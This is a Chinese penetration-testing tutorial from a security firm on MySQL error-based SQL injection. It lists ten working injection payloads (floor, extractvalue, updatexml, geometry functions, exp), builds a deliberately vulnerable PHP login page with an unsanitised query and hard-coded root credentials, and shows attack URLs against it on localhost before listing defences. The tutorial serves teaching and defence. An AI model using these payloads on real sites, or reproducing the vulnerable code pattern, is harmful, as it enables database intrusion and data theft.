渗 透 测 试
之 SQL 注 入(3)
前言
SQL注入长期位于OWASP TOP10 榜首,对Web安全有着很大的影响,黑客们往往在注入过程中根据错误回显进行判断,但是现在非常多的Web程序没有正常的错误回显,这样就需要我们利用报错注入的方式来进行SQL注入了。
01
报错注入原理
SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。
在使用报错注入的前提是:
1.页面上没有显示位但是有sql语句执行错误信息输出位。
2.使用mysql_error()函数,可以返回上一个Mysql操作产生的文本错误信息。
02
十种MySql报错注入方式
1.floor()
floor函数的作用是返回小于等于该值的最大整数,也可以理解为向下取整,只保留整数部分。
语法: rand(x)每个x对应一个固定的值,但是如果连续执行多次值会变化,也是可预测的.
SQL语句:select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()
语法:extractvalue(目标xml文档,xml路径)
SQL语句:select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()
语法:updatexml(目标xml文档,xml路径,更新的内容)
SQL语句:select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()
函数解释:以点的方式存放 ,如果单个点直接用 坐标(x,y)表示,如果是线的话是多个点使用 LINESTRING()来保存这条线上的点。
SQL语句:select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()
函数解释:MultiPoint是一种由Point元素构成的几何对象集合。
SQL语句:select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()
函数解释:Polygon是代表多边几何对象的平面Surface。它由单个外部边界以及0或多个内部边界定义,其中,每个内部边界定义为Polygon中的1个孔。
SQL语句:select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()
函数解释:是零个或更多个Polygon实例的集合。
SQL语句:select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()
函数解释:是一个一维对象,表示一系列点和连接这些点的线段。
SQL语句:select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()
函数解释:是零个或多个 geometry 或 geographyLineString 实例的集合。
SQL语句:select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()
函数解释:exp是以e为底的指数函数,但是,由于数字太大是会产生溢出。这个函数会在参数大于709时溢出,报错。
SQL语句:select * from test where id=1 and exp(~(select * from(select user())a));

平时我们最常用到的三种报错注入方式分别是:floor()、updatexml()、extractvalue()。
03
案例
我们在Web根目录下建立sqli.php
1 <?php
2 $conn = mysql_connect("localhost", "root", "123456"); // 连接数据库,账号root,密码root
3 if (!$conn) {
4 die("Connection failed: " . mysql_error());
5 }
6
7 mysql_select_db("sqli", $conn);
8
9 // verify login info
10 if (isset($_GET['name']) && isset($_GET['pass'])) {
11 $name = $_GET['name'];
12 $pass = md5($_GET['pass']);
13
14 $query = "select * from user where name='$name' and pass='$pass'";
15
16 if ($result = mysql_query($query, $conn)) {
17 $row = mysql_fetch_array($result, MYSQL_ASSOC);
18
19 if ($row) {
20 echo "<script>alert('login successful!');</script>";
21 }
22 } else {
23 die("Operation error: " . mysql_error());
24 }
25 }
26
27 mysql_close();
28 ?>
29
30 <!DOCTYPE html>
31 <html>
32 <head>
33 <title>Login</title>
34 </head>
35 <body>
36 <center>
37 <form method="get" action="">
38 <label>Username:</label><input type="text" name="name" value=""/><br/>
39 <label>Password:</label><input type="password" name="pass" value=""/><br/>
40 <input type="submit" value="login"/>
41 </form>42 </center>43 </body>44 </html>
在代码的11-14行是登陆验证模块,可以看到程序以GET形式获取了name和pass参数,没有经过任何过滤直接带入了查询语句,这里明显的存在SQL注入漏洞,我们用floor()报错注入进行尝试。
http://localhost/sqli.php?name=' or (select 1 from(select count(*),concat(user(),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a) # &pass=123
我们再分别用updatexml()和extractvalue()分别进行尝试(原理各不相同,但是思路均是构造数据库的错误)
http://localhost/sqli.php?name=' or extractvalue(1,concat(user(),0x7e,version())) # &pass=1
http://localhost/index.php?name=' or updatexml(1,concat(user(),0x7e,version()),1) # &pass=1

03
Mysql报错注入的防御方法
1.屏蔽能造成报错注入的各种函数,函数
2.对输入长度做限制,对用户输入做预处理
3.对各种报错注入的返回结果,统一返回至不包含任何错误提示信息的回显页面。
4.使用数据库防火墙,精准分析业务SQL和危险SQL,拦截SQL注入等危险。
关于我们:
河北镌远网络科技有限公司(Hebei JYCYBER TechnologyCo.,Ltd.)是一家集人才、技术和经验于一体的,提供全面网络安全解决方案的专业服务商。镌远科技致力于为各行业的网络安全需求提供软件研发和通用解决方案,业务领域主要包括基础服务、咨询业务、产品研发和安全培训四大版块,各版块相互独立又相辅相成,完美阐释了“专业服务、全程服务、延伸服务”的服务体系和“单一业务与长远目标相融合”的服务理念。
关注镌远科技,关注网络安全!
河北分公司:河北镌远网络科技有限公司
地址:河北省邯郸市丛台区中华北大街193号慧谷大厦14层
总公司:北京冠程科技有限公司
地址:北京市昌平区科技园区东区产业基地企业墅上区一号楼九单元四层
实训基地:河北省石家庄市电子信息学校冠程科技研究与实训中心

欢迎扫描关注我们,及时了解更多关于网络安全相关知识
点击“阅读全文”查看更多资讯!

